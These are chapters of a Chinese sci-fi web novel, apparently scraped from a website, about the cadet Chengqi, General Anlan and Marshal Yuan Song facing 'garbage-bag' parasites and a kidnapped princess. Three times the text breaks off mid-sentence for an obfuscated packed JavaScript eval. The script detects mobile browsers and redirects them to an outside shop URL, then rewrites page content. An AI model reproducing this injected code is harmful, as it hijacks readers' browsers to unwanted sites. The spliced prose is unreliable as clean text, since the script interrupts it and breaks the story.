澄栖没有说话,把枪头对准了安澜,同样回以淡淡微笑,“安澜将军比我知道得早,为什么不那么做呢。是因为不想,还是不敢呢?” 安澜啧啧两声,耸肩,“因为无所谓啊。死就死了,死的又不是我。” 澄栖沉默。 “但是,你恐怕是不能无所谓了。幽灵太过罕见,如果你能把这种样本带回去,五只寄生虫也不用了,我可以给你满分。” 澄栖真是时常被安澜莫名其妙的脑洞震惊到。 她到底是哪里来的自信,认为她能够解决这些寄生虫的? 十几头垃圾袋人,她是准备让她也套进去当垃圾吗? “我拒绝,我觉得安安心心找五只寄生虫也蛮好的,大不了学分不要了呗。”澄栖无所谓道。 安澜没回答,微微一笑,笑得澄栖心尖发颤。 危险! 澄栖拔腿就跑。还是没能快过安澜的动作。 她脚一伸,澄栖人就呈抛物线被踢到了垃圾场内。 一半的垃圾袋人都围上来,澄栖连头顶上的光都看不见。 垃圾袋人拿枪口戳她。 ……戳啥啊,里面根本没有子弹。 澄栖浑身疼,也懒得起来了,整个人就往地上呈大字形一躺,安详地闭上了眼睛,任由垃圾袋人打量。 就这样吧,还能把她怎么着呢,把那个垃圾袋人砍成两半的又不是她。 半响没有动作,澄栖的手上突然传来刺痛。 猛然一睁眼,澄栖看见一头垃圾袋人抱着被安澜砍成两半的尸体,小心翼翼放在了她身边,而那斑驳黯淡的骨头上,像纱布一样半透明物体从骨头上剥离出来,试探性咬住了澄栖的手指。 澄栖一枪把骨头崩得老远,翻身从地上站起来,沉沉看了安澜一眼。 她是不是早就知道了?敢情在这里等着她呢。 安澜将军,她到底有没有心!她只是个刚上军校的菜鸟! 澄栖咬牙切齿问,“我搞定它们给我满分,还作数吗?” 安澜点头,“作数。不过,你光靠枪恐怕不行,幽灵最难杀了。” 她说得不错,被枪崩成两段的那节骨头从中间伸出来一段半透明布状物体,连接在一起,又变成了一段完好无损的骨头。 而澄栖却因为这一枪,被七八头垃圾袋人按在地上不得动弹。 “接着!” 安澜出声,丢过来另一把刀。 那把比她常用的刀要小一半,是精巧的黑色,刀身上仿佛有弥漫的雾气,但定睛一看,却什么都没有。 刀插在垃圾场的地面上,澄栖被按着,先跑过去的是一头垃圾袋人,它试图把刀拔起来,然而手一碰到刀柄,手上的垃圾袋就融化了,垃圾袋里面包裹的骨头破衣服什么的东西骨碌碌往外面掉。 垃圾袋人来不及管这把刀了,它弯下腰去捡自己的身体。 按着澄栖的垃圾袋人少了一头,同样去拔那把刀,毫无疑问的,身体里面的东西也骨碌碌滚出来。 安澜在垃圾场外面,靠着自己的刀,哈哈笑,像是在看什么戏。 “捡刀啊,澄栖。” 澄栖半张脸还被按在地上,沉默。 先别说她现在这样能不能从这些垃圾袋人的包围里起来,只说她一会儿要是握着刀身少半只手,安澜她负责吗? “……按得太死了,我起不来。”澄栖诚实回答。 安澜白眼一翻,“你要是再不起来,我就把那把刀折了丢垃圾场去,既然你不愿意起来拿,那它也没有存在的必要了。” 那不行,那把奇怪的刀,澄栖说不出来什么感觉,总之就是,她还挺想要的。 澄栖瞳孔变成放射状的白色,那一瞬间,她身上的气场完全变了,按着她的垃圾袋人明显感觉到自己的身体不对劲,莫名其妙不规则颤动着。 身体好像,不受控制了。 澄栖反手抓住一头垃圾袋人的腿,顺着骨头的方向一折,那头垃圾袋人咔嚓一下坐到了地上,身体里骨头的连接也不太稳定,相互摩擦着发出渗人的响声。 然后是第二个,第三个。 澄栖早就知道自己的眼睛有时候会变得不一样了。变成白色的时候,她能够轻易透过寄生虫外面的躯壳看见里面的东西。 或许是血管神经,或许是骨头,或许是寄生虫真实的形状。 害怕吗?当然害怕,不过,传说里的神医扁鹊有一双能够透视的眼睛,澄栖想,都是干这一行的,现在这双眼睛她也有了,那也还行。 没有了周身的束缚,澄栖站起来活动了一下骨头,转身朝着那把刀走过去。 在透视的作用下,那把刀也没有任何变化。迟疑片刻,她还是握住了刀柄,手并没有被腐蚀。 澄栖疑惑地用刀尖挑了一下滚落在地上的骨头,挑起来一片细纱一样的物体,细纱在刀尖上挣扎着,而后迅速变成灰色的尘埃。 这就是附着在 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她的刀刃指向安澜的方向,语气是她自己也没有意识到的冰冷,“来,打一架。” 澄栖已经觉得有点奇怪了,其实,她并不是一个热衷于打架的人,可是每次眼睛变化的时候,总会升起一些不受她控制的想法,这种变化在拿到手里这把刀之后,变得更加清晰。 “我现在,充满了力量!”她觉得自己可以干倒安澜了。 安澜轻笑一声,提刀翻身进了垃圾场。 澄栖的动作很快,和刚刚见到她的时候完全是两个不同的人。 安澜甩了甩握刀的手,被震得有些发麻了。 澄栖高兴了,歪着头,一双白色瞳孔毫无生机,看着她,“安澜将军,你也不过如此。” “真的吗?” 下一刻,安澜动了。 快到连风都没有反应过来,澄栖的腰椎一痛,被人从后面一脚踢得趴在地上,溅起一地的灰。 手上的刀也被震得丢出去,澄栖往前爬,想要把刀捡回来,刚伸出去一只手,被安澜踩住,“小朋友,你很嚣张?” 澄栖的眼神马上就清澈了,顿时也不烦躁也不傲,张嘴就是认错,“安澜将军,我错——啊——” 澄栖被刀挑起来,屁股挨一脚,腿挨一脚,一脚又一脚。 踢得她眼睛都恢复了黑色,抱着黑色的长冥和一堆垃圾袋人蹲在一起瑟瑟发抖。 安澜刀一震,然后一个眼神,澄栖乖乖巧巧走到旁边。 安澜眯着眼睛,像揉小狗一样在澄栖脑袋上揉了揉,“刚刚的对战里,你学到了什么?” 学到了什么?澄栖思考。 速度太快,她根本来不及反应,身上噼里啪啦的脚印子就落下来了。 “学到了……打人不打脸,其他地方随便踹?” 安澜的好心情顿时没有了,“我看你确实挺欠揍的。” 澄栖后背上的汗毛立刻竖起来,她连忙僵硬的转移开话题,“那个,安澜将军,你说的把这些黑色垃圾袋拿下了就给我满分的,要作数哦!” 17. 垃圾袋人(三) “你能要点脸吗?它们现在这么蹲在这里,是你的功劳?还好意思要满分?” 澄栖理不直气也壮,“那怎么不是我的功劳,我还付出了一顿打呢!” 因为安澜揍澄栖揍上瘾了,一下子没停下手,再加上这群垃圾袋人没脑子,非要在这个时候凑上来索性安澜连带着它们也一起揍了。 澄栖第一次知道,原来真的有人可以把寄生虫也揍服的。 佩服得她五体投地。 脑袋一抽,嘴比脑子快,澄栖开口,“安澜将军这么厉害,为什么没有当上元帅?” 安澜:…… 安澜的眼神像要一匹要杀人的狼,“不会说话你可以当哑巴,我不介意帮帮你。” 澄栖意识到危险,立刻狗腿的表示,“没关系的安澜将军,你在我心里第一厉害,什么元帅什么其他的,通通没有你厉害。” “真的?” 澄栖拍胸脯,“当然是真的!我发誓。” “比原颂还要厉害?” “那当然了,原颂是谁啊,根本不认识,哪里有你厉害,你就是天上地下第一厉害!”澄栖自信开吹。 “咳咳,安澜将军。” 声音有点熟悉。 澄栖转头,看见一队套着防护服的人,开口的人是为首的那个,哪怕隔着全身包裹的防护服,澄栖还是听出来了,是何希南的声音。 对,他说他在苏格星前线。 澄栖有点尴尬,但好歹还是安慰自己,没事,是何希南,又不是原颂本人。 “来了?”安澜低头看了看手环上的时间,“比我预计的晚了十分钟,怎么,何副将带着人是爬着过来的?” 何希南早已习惯安澜说话难听得要死,自动忽略掉她,让手下的人处理蹲在地上瑟瑟发抖的垃圾袋人,自己则对着安澜敬了个军礼。 “感谢安澜将军,我们核实过了,两年前确实消失过一批驻守的士兵。我们已经请了联邦军校研究院的徐院长过来,等检测结果出来,如果属实,我们会向联邦报告安澜将军的功劳。” 这件事情远不止何希南话里说得轻飘飘。 两年前那些驻扎的士兵消失后,寄生虫突然就在苏格星疯狂肆虐。 他们连士兵的尸体都没有找到,所有人都自动认为,那些士兵已经遭到了寄生虫残害,他们是苏格星寄生虫爆发的受害者,也是人类在苏格星发现寄生虫的先锋。 可是按照安澜给的消息,那些人可能遭受的不是寄生虫的残害,而是人类。 何希南心里说不出来的沉重。 安澜松松散散回了个军礼,她对死人真的毫无惋惜,“那你们可以向联邦申请授予我元帅头衔,那个我喜欢。” 何希南感谢的话一噎,自动忽略掉安澜无理要求,走了。 留下澄栖眼神幽怨看着安澜,“安澜将军,这是驻扎在苏格星军部的人。” “嗯,对。”安澜没有半点觉得不对劲的地方。 澄栖总算知道她为什么要突然提到原颂了。不安好心,果然不安好心! 她眼神幽怨的盯着安澜不说话,好歹唤回了她为数不多的一点良心。 “你放心,我会酌情给你两个寄生虫的学分的。” “五个。”澄栖耳朵一动,伸出手比了个五。 打都挨了,凭什么不给她满分! “真想重修?”安澜的眼神横过来。 “哎,两个就两个,怎么还较真呢安澜将军。”澄栖心里在滴血。 早知道就不那么嚣张要单挑安澜了,要是没那么做,她现在就是一个任务已经完成,安安稳稳躺在飞船的床上等同学们回学校的状态。 她后悔啊,悔不当初。到底是为什么脑袋一抽突然觉得自己打到安澜的? 澄栖决定去旁边抓垃圾袋人冷静冷静。 可怜的寄生虫,还么从安澜的阴影里缓过神来。军部的人只好试探性注射注射剂,试图先让寄生虫暂时陷入昏迷的状态,将寄生虫扛起来。 澄栖看着他们艰难的行动,摇头安慰自己,看吧,大家都很难。 可是她格外难,太惨了。 她顺手把自己的刀往地上一插,帮忙弯腰捡那个被安澜一刀劈成两半的垃圾袋人身体里面的骨头和破烂衣服什么的,然后一股脑往垃圾袋装。 身边跟着一只骨节暴露的白骨爪,乖巧跟在澄栖身边捡东西。 怪说不得幽灵掉了等级还是中级寄生虫呢,就是有眼力见知道干活,虽然十次有八次,地上的东西从它骨头指节缝隙里掉下去。 它想要生气,然后整只手一转,先是看见了澄栖黑色的插在地里的长冥,然后看见被安澜当拐杖用的靠着的长光,一下老实了,继续在地上捡它捡也捡不起来的垃圾。 澄栖神色复杂看着它不仅捡不起来地上的东西,自己的小指骨指节还掉下去滚了老远,又哒哒哒跑过去捡自己的小指骨节,然后把澄栖已经捡完的半垃圾袋骨头全部打翻了。 ……也是够无语的。 这个动静足以引起所有人的注意,但众人最多看一眼就继续低下头干自己的事情,只有何希南和一直跟在他身边那个身形格外出众的人,站起来。 何希南问,“需要帮忙吗?” 澄栖心中了然。 自己这是被认出来了。隔着全身包裹严实的防护服,她也没有讲话,还能认出来,也是不容易。 战场果然历练人,澄栖看得出来何希南的态度里没有了任何高高在上和不认同,只是对一个需要帮助的人伸出援手。 澄栖点头,指了指他旁边那个,“麻烦你过来把那只手和被它撞掉的骨头全都塞进垃圾袋里面去。” 男人的脚还没有迈出去,何希南先一步动了。 澄栖有些疑惑,何希南什么时候这么有眼力见了?“何大人,你忙你的,我没叫你。” 何希南想要开口,“我……” “好的,我来。”他身边的那个人按住何希南的肩膀,对着澄栖点头,然后一言不发蹲在地上到处捡骨头。 澄栖顿时愣住,她刚刚,是不是听到了什么熟悉的声音? 那只骨头爪子从一堆破烂垃圾里面终于钻出来,看见男人捡它的骨头,跳上了他的后背,好像在指挥他。 然后男人从地上找到了它那截散掉的小指手骨,咔嚓一下给它安了回去。 骨头高兴得在他背上跳了两下。 整个场面,怎么看怎么滑稽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084051|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>澄栖默默走近去,蹲在男人面前,轻声咳嗽两下。 男人手上的动作明显减缓,但并没有停止,也没有和澄栖搭话。 难道真的是她听错了,澄栖开始有点怀疑自己,他只说了四个字,也许只是音色有点像而已。 澄栖又咳了两下,悄声问他,“你叫什么名字?” 男人的动作总算是停下来,明明带着防护服,澄栖却感受到对方的视线在她身上。 “夫人,回去说。” 澄栖:“呵呵,真巧。”真的是原颂本人。 谁能告诉她,原颂此时此刻不应该躺在元帅府邸的治疗床上吗,为什么会出现在这里? “不太巧,夫人说的话我全都听见了。” 澄栖尴尬得想要扣地上的泥巴,但考虑带这里毕竟是垃圾场,只好作罢。 她在背后蛐蛐原颂,被他本人抓包了? 澄栖尴尬着尴尬着,在道歉和祸水东引之间选择继续询问自己的疑惑。 “所以,为什么安澜将军看起来更厉害,但是被授予元帅称号的是你?” 原颂:她要不要听听自己在问什么,说话也太难听了。 原颂的视线穿过防护服,沉默看着她。澄栖目光心虚的挪开。 那边安澜靠着长光,通讯好像突然被谁拨通。一接到那边的通讯,她眉头皱得能夹死蚊子,态度很不耐烦,“不去,不干,谁爱找谁找。” 通讯那头估计也没那么好拒绝,兴许是拿什么大人物试图压制安澜,因为她上一句好歹还是在回答,下一句就直接攻击人了,“有毛病。” 说完三个字,干脆利落挂了通讯。 看着地上一堆干活的人,四周扫视,又再一次看了看手环上的时间,“啧”一声,“就这么点活怎么还没干完?” 何希南解释一句,“将军,这种寄生虫比较特殊,之前没人见过,好几针注射剂下去才起一点用。” 而且也不知道为什么,明明在安澜和澄栖手上看起来乖巧得不行的垃圾袋人,他们一上手,骨头从黑色塑料垃圾袋里伸出来,差点抓破他们的防护服。 就算侥幸逃过的,可臭气攻击却躲不过,垃圾袋人伸手一掏,垃圾就直接甩在他们脸上了。 幸好穿着防护服,否则,垃圾的臭气能让人瞬间肺爆炸。 安澜不听解释,只看结果,显然现在的结果她并不满意。她手指着澄栖,“我以为她已经够废了,没想到你们比她还要废,让你们驻扎在苏格星,安萨斯拿屁股做的决定?” 澄栖看热闹龇着的大牙一下子就收回去了。 安澜将军好骂力。一句话,从面前的人喷到在联邦主星的安萨斯陛下。 她现在对于她至今只是少将军衔的原因有了更加清晰的认知。 “我知道为什么了你是元帅了。” 澄栖拍了拍原颂的肩膀,鼓励他,“当个好领导吧,保持情绪稳定就已经赢了。” 原颂:“……我真谢谢你的肯定啊。” 看着蹲在地上和人悄悄说话的澄栖,安澜也生气,“地上有钱捡吗还蹲着,小澄栖?” 天知道安澜为什么说话这么难听,好像通讯那边的人有什么意见,连带着澄栖也遭了殃。 18. 垃圾袋人(四) 不是,到底是谁有毛病去惹安澜啊! 澄栖心中腹诽,面对安澜的问话,蹭一下从地上站起来,把手里的铁皮罐子高高举起来,“可不是真有钱,两块八一斤呢。” 这个四舍五入也有五块钱了,再四舍五入一下,岂不是直接变成十块钱了? 垃圾场,真的有钱捡。 安澜,“那你还挺骄傲?” “一般一般,我只是对捡垃圾的学问略有所通。 澄栖已经够谦虚了。 当年刚进医院实习那段日子,没有工资,倒交学费,在医院捡纸箱子卖钱的门道她可谓是练习得炉火纯青。 捡垃圾就讲究一个眼疾手快,先下手为强,必要时还得学会察言观色……咳咳,说多了。总之,澄栖对自己捡垃圾的技术非常有数。 安澜:…… “你继续。”如果她得到的消息没错,澄栖不久之前才继承了一大笔财产。 呵呵,说不定捡垃圾真是她的爱好呢,包容,要包容。安澜深吸一口气,默默在心里提醒自己。 “好的。”澄栖继续蹲下去,顺手还把那个铁皮管子丢尽了自己的空间扣里面。 原颂,“夫人,你知道自己已经很有钱了吗?”其实可以不用这么拮据的,她现在名下的资产,足够把整个苏格星买上几遍了。 澄栖点点头,“知道啊,但是那个铁皮盒子挺好看的,你不觉得吗?” 所以她顺手就从打翻的垃圾袋里薅出来了,嘻嘻,她真聪明。 “夫人的爱好,挺独特。” 澄栖无所谓耸耸肩,转了个头,提了一半垃圾袋,继续捡骨头,捡着捡着,看见东西,又往自己的空间扣里丢了一个。 原颂:他只是稍微一抬眼,并不是故意看见的。 “那个是勋章,不能卖。” “这样啊,真可惜。”澄栖嘴里说着可惜,但却没有把勋章拿出来。 骨头爪子看见澄栖私吞的东西,很不满意,从原颂背上跳到了澄栖手上,去扣她手腕上的空间扣,试图把勋章扣出来。 澄栖把骨头爪子拎起来,“你被安澜将军砍过,没被我砍是吧?” 她直接把骨头爪子也丢进垃圾袋里了,攥紧封口,管它在里面怎么乱动。 原颂终于知道澄栖和安澜为什么能够走到一起去了,纯粹就是,臭味相投。 没过几分钟,何希南也接到通讯了。 他走过了,在原颂一步的距离接通了通讯。 三个人一起听到了这通通讯的内容。 通讯那头,开头说话的人语气很急,直接是命令的口吻。 莉丝在苏格星遇险失踪了。 军部让何希南抽调出来人去莉丝失踪的地方找人。 听到那边报出的坐标,何希南眉头一皱,把目光挪向了原颂。 原颂对他摇头。 何希南放下心与那边周旋。 澄栖伸出手,原颂识趣在她手上写了两个字,“老巢”。 寄生虫最开始爆发的地方。莉丝不知道为什么,居然跑到了哪里去,现在还失踪了。 澄栖恍然大悟。安澜刚刚接到的那通通讯怕也是因为这个事情了。 怪不得安澜骂人。她就是来苏格星带队的,在她休假时间里,让她去找人,还不是什么正当理由。 因为失踪的是联邦陛下的最宠爱的女儿,所以就能一通通讯,一点招呼不打就打到她那里,勒令她去送死? 安澜不是个受得了委屈的性格。何希南和那边周旋的时候,有一刻真的恨不得自己是安澜,通讯一挂,管他是谁,但是显然,不可能。 澄栖不知道,让军部去老巢找人这件事情,比让安澜出手更加离谱。 那边给出的坐标地址,是驻扎在苏格星的军队花了很大的代价才封锁起来的。里面的寄生虫进化到什么样子了,没有人说得清楚。 更何况,他们苏格星本来就缺少熟悉寄生虫情况的专家研究员。 现在让他们进去,要打破之前的封锁,完全是两眼一抹黑的状态,说得更加清楚一点,就是送死。 运气好一点,是拿苏格星驻队的命去换莉丝公主的命。要是运气不好,就是他们这群人给莉丝公主陪葬。 不过,通讯那头的人又没有什么损失,当然是站着说话不腰疼,他要是能够把这件事情办好了,说不准明年就能够喜提安萨斯陛下亲手写下的升值通知了。 在何希南多次强烈表示不行的意愿之后,那边的声音停了,十几秒的沉默之后,换了另一道声音。 “何将军,是我。” 何希南声音有点僵硬,看了原颂一眼,蹲下来,把通讯手环放到了原颂和他中间。 何希南态度恭敬,“陛下,我是何希南。” “你们都是联邦的英雄,是联邦最锋利的刃,现在有联邦人民在苏格星失踪,情况紧迫,请何将军必定肯定以及一定要将人带出来。” 澄栖在防护服里默默翻了个白眼,说得真好听。什么狗屁联邦,都星际了还搞什么封建制,能不能来个人把这个神经病撸下来。 星际这么高级的地方,值得更加先进的社会体制。 何希南无奈,“陛下,莉丝公主失踪的地方是寄生虫老巢,生还可能……很小,所有进去的人,身还的可能性都很小。”他们进去,他们也会死。 “许三光研究员已经在去苏格星的路上,那边已经通知过了,他会带着最先进的检测仪器和你们一起进去。” “还有,安澜将军此刻也在苏格星,何将军可以让她也一起去,就这样吧,祝何将军旗开得胜。” 澄栖被这一手操作震惊得说不出来话。 他们搞不定安澜,索性直接把这个烫手山芋甩到这里来了。什么时候她也能这么不要脸,是不是也能当上联邦皇帝? 安澜听见安萨斯的声音开始就知道他嘴里要放什么屁了,她摊手拒绝,“谁爱去谁去,我是不去的。” “这样吧,不是说有研究员要来,为了表达我对联邦的忠诚,我就先去接研究员吧,一定把人完完整整送到你们的驻地去。” 她向澄栖招手,“还蹲着干什么,跟着我走。” 澄栖乖巧跟在安澜后面。朝何希南做了个祝你好运的手势。 其实这件事并非无解,比如带着人去封锁区外面溜一圈,至于交差嘛,在半路上随便找架飞船炸了,只要不在苏格星境内,谁在明面上怪得到他们身上。 唯一需要做的,就是约束好参加活动的所有人,不能走漏风声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087791|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,彻底杜绝危害的手段也不是没有,撸了安萨斯一切都平静了。 如果她手里握着军队,没有人敢在她脑袋上造次。 澄栖离开垃圾场最后一次回头,对着何希南开口,眼睛却没有离开站在他身边的原颂,“何将军,每个人的生命都很宝贵,没必要为了没有意义的事情牺牲。道德感和服从性太高,也许在某个时代并不是什么好事情。” “叽里呱啦说什么,还走不走?”安澜给澄栖后脑勺狠狠敲了一下。 澄栖痛得龇牙咧嘴抱头乱窜,一身好不容易聚起来的高人气概顿时消失得无影无踪。 原路返回的路上就平静太多了,脚下的心跳声好像也成了调剂。 澄栖突然觉得,对人类最狠的,好像也不是寄生虫,而是人类自己,真是太可怕了。 许三光好端端在实验室养寄生虫标本呢,突然有人冲出来叽里呱啦一通说,他从满脸废话里好不容易提炼出来一点有用的信息,让他去苏格星。 还没答应,研究院院长已经做完决定,把仪器全部塞进飞船里,连带着他,打包去苏格星。 人弱被人欺!人弱被人欺!该死的,他要什么时候才能踹掉院长上位! 澄栖呢!澄栖呢!让她赶紧过来把她的血液标本研究透了!他要升职! 澄栖也在苏格星。那很好,那没事了。 飞船一落地,许三光看到外面站着的安澜和澄栖,激动得热泪盈眶。他已经做好了在苏格星有一场硬仗要打,结果安澜将军在,生命安全有保障;澄栖也在,工作有人分担。 人善有善报!人善有善报! 许三光悄悄问澄栖,和蔼得不能再和蔼,“同学,研究进度怎么样?收到研究院的课题通知了吗?” 澄栖有些心虚,早就收到了。但这段时间任务很重嘛,加上研究院那些仪器试过一遍,没有一个能分析出来她的血到底有什么问题的,数据库也没有相关记载,如果要继续分析,必须得依靠其他手段了,时间太长,于是短期内她安心把这件事情抛到脑袋后面。 现在被问起来,她只能打着哈哈糊弄过去。 幸好许三光心情好,还随口鼓励了两句,澄栖松了一口气。 “苏格星寄生虫变异性很高呢,我带你去转一圈,说不定有收获。” 澄栖:谢谢,她并不想在苏格星乱转,更何况他嘴里的转一圈,很大程度上还是去寄生虫那个老巢里转一圈。 真没那么硬实的命格。 许三光对她的拒绝表示不能理解,“这辈子都见不了两次的寄生虫,为什么不去?”对于一个疯狂热爱研究罕见寄生虫的研究员来说,澄栖的行为不亚于拒绝天降巨款。 澄栖:“……朝暮罕见吗?” “罕见,我也只见过一次。” “我有一盒,活的。” 许三光觉得自己可能年纪到了,心脏是不是有点痛。 “老师,你听说过幽灵么?” 许三光摇头又点头,好像听谁提到过,他或许应该翻翻书找找,不知道是何等罕见的寄生虫啊。 澄栖摇头轻啧,“我找到了。” “我好像,不太缺遇见罕见寄生虫的机会。” 许三光确信自己的心脏在痛了。 19. 寄生虫老巢(一) “我要一口气厥过去了。”许三光语气幽幽。 澄栖笑嘻嘻,“带您去看幽灵,挺有意思的。” “那行。” 该不说能当上一级研究员的人就是不一样呢,许三光对幽灵的稀罕,要不是澄栖拉了他一把,估计能直接扑到幽灵身上,直夸它们是好垃圾袋。 他手上拿着一根骨头,摸了又摸,一脸陶醉。 安澜满脸复杂,“他这是在干什么?” 澄栖不太确定,“可能是在安抚寄生虫的情绪吧,一级研究员的境界果然不是我等能够理解的。” 澄栖发誓,哪怕有一天,自己也成为了一级研究员,一定不能变成这个样子,太恐怖了。 两个人对视一眼,抖落掉一身的鸡皮疙瘩。 安澜实在看不下去了,“呵呵,我想起来还有事情,许研究员就交给你了,澄栖同学。” 澄栖微笑,好气,她也想走,但是没走成。 大概是许三光的态度太过热烈,垃圾袋人开始拿巴掌呼他了。 澄栖好不容易武力镇压下来,只觉得心力交瘁。 “别闹了。”她有些无奈。 她现在终于体会到,安澜能够把这一群打害怕的实力到底有多强。 也是幸好手上还有一把长冥,如果长冥没在手上,恐怕垃圾袋人鸟都不会鸟她一下。 可是变故突然发生。 澄栖手里的长冥都还没有收回去,被刀指着的垃圾袋人突然暴动,将许三光死死围住。 还有几只直接忽视了长冥会对它们造成的影响,徒手将长冥举起来。 外层黑色的塑料袋开始融化,露出来里面的骨头,可哪怕是骨头,也死死拉着长冥。 澄栖只来得及挥刀砍掉想要夺走长冥的垃圾袋人的手,转头一看,许三光已经被垃圾袋人举着从窗户翻了过去。 澄栖手环打开,打算拨安澜的通讯。 这群寄生虫是突然间疯了么? 通讯还没有拨通,澄栖突然听见垃圾袋人发出尖锐的惨叫声,一抬头,只看见垃圾袋人和许三光全部七倒八歪瘫倒在地上。 好机会。 澄栖翻手跳过窗户,落到地上,下一刻,她突然心脏剧烈疼痛,也失去了意识,瘫倒在地上。 安澜本来在床上躺得好好的,骤然间身体一震,想到什么,连忙给澄栖拨通讯,没有任何回应,心下了然,只来得及骂一声,提起刀就往苏格星的寄生虫老巢去了。 澄栖醒过来的时候,手脚都被绳子捆得死死的。 映入眼帘的,是破破烂烂露出来内层钢筋和混凝土的高楼。 从墙上已经斑驳不清的立体浮雕能够看得出来,这里曾经应该是很繁华的地方。 墙上有弹孔,澄栖猜测,这里应该曾经经历过一场恶战。 她的视线在房间的各个角落里扫视,总觉得这里的布局有些熟悉,好像在什么地方见到过,但记忆太浅,就是想不起来到底在什么地方见过。 到底是什么地方呢?澄栖艰难挪到靠近窗户的那一面墙边,从七零八碎的窗户往外看,一片白雾,什么都看不清楚,只能发现楼很高。 彻底杜绝了她跳窗逃跑的可能性。 澄栖再看了看四周,被封得死死的。 想了想,继续艰难挪动,挪到了角落里,然后,往地上一瘫,安然地闭上了眼睛。 管他是谁把她带到这里来的,总归不是吃饱了没事干,还能怎么办,等吧。 澄栖再醒过来是被人的哭叫声吵醒的。 门被打开了,两个垃圾袋人从外面丢进来一个被绳子捆着的女人。 一看,熟人,莉丝公主。 “我发誓等我出去,我会让父亲炸掉整个苏格星,送你们全部去死!” 莉丝咬牙切齿对着门口两个垃圾袋人大叫。然而并没有被理会,两个垃圾袋人发现澄栖的位置发生了变化,想要把她拉到原来的位置去。 澄栖双腿在地上一扫,把一头垃圾袋人扫落在地上,然后往下重重一压,悄悄把背后被磨出血迹的手按在垃圾袋人身上。 不出她所料,垃圾袋人身体外层的黑色塑料开始溶解,露出来里面的破烂衣服,木料铁皮还有骨头什么的。 澄栖看了一眼,里面的破烂衣服,和在垃圾场看见的垃圾袋人挺相似的,果然有猫腻。 下一瞬,她就被另外一头垃圾袋人抓着后衣领子提了起来。 澄栖问了和垃圾场同样的问题。 “你们是军部的人?” 大概是军部这两个字刺激到垃圾袋人哪条敏感的神经,垃圾袋人松开澄栖的后衣领子,在把手伸进垃圾袋里,翻找什么东西。 澄栖当然知道它会翻出来什么,一枚勋章,一枚证明他们曾经是苏格星驻队的勋章。 人死之后,或许这种对于身份的执念和他们的血肉一起留给了寄生虫幽灵。 澄栖脑中灵光乍现,她终于知道自己为什么会觉得这座楼里面的布局熟悉了。 寄生虫幽灵从骨头里剔出来的时候,在空气里出现过的那副沙画。 高楼,驻队。 她终于知道这里是什么地方了,寄生虫老巢。 澄栖恨不得对自己竖个中指,牛啊,这么小概率的事情都能遇上,怎么买彩票中奖这种事情没落到她身上? 垃圾袋人果然把那枚勋章戴在了胸前。 澄栖声音平稳,说,“我也是军部的人,我也有勋章。” 垃圾袋人站着不动,好像在消化澄栖的话。 “解开我手上的绳子,我可以把勋章拿出来给你们看,只解开手上的绳子,我逃不掉的。我们都来自军部,相信我。” 垃圾袋人沉默着,还是把她手上的绳子解开了。 澄栖毫不犹豫,立刻从空间扣里翻出来一枚生锈泛黄的勋章,同样戴在了左胸上,挺起胸膛。 垃圾袋人看见勋章,朝澄栖标准敬礼,而后也没有要继续拿绳子把她捆起来的意思,看起来,是真的相信他们是同类了。 澄栖可算松了一口气,幸好她当时捡垃圾留了个心眼,往空间扣里塞了这么一枚,果然有大作用。 地上垃圾袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096055|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人经过这么一段时间的恢复,身体也变得完整,站起来,看见澄栖胸口处的勋章,同样没有继续攻击她。 只有被丢在地上的莉丝大叫,狠狠盯着澄栖,“你和它们是一伙的!” 她真服了,自己这么大一个人站在这里,就算身上也套着从脑袋到脚的黑色防护服,看起来是和垃圾袋人有几分相似,但好歹看看她还被捆着的双脚呢,到底是怎么看出来她和这些垃圾袋人是一伙的? 更糟糕的是,叫完,莉丝又将视线对准了垃圾袋人,“愚蠢的寄生虫,你们看看,这个人不是你们的同类,不要放了她!” 澄栖叹气,无奈只能跳着蹲到莉丝公主身边,悄声安抚,“公主,我是军部派来救你的,不要声张,我会带你出去的。” 莉丝不信,“你怎么证明你不是和这些肮脏的寄生虫一伙的?你明明能和它们交流!” “我是何希南将军派来救您的,我有何将军的联系方式,不知道这够不够?莉丝公主不会不认识何将军吧?” 听到何希南的名号,莉丝公主好歹是安定下来了。 “我当然知道何希南,你能现在拨一下他的通讯吗?” 澄栖:现在?没想到莉丝居然还挺谨慎的,这种时候还这么镇定,知道先验货。 “让何希南转告原颂将军,莉丝永远记得当初将军把莉丝从寄生虫手里救下来的事情,他是莉丝的英雄,这几天被关在这里,莉丝一直在想他,莉丝对他的感情是真的,等我出去了,能不能让他和澄栖离婚,娶我?” 澄栖:…… 澄栖现在想把莉丝一脚踹晕。 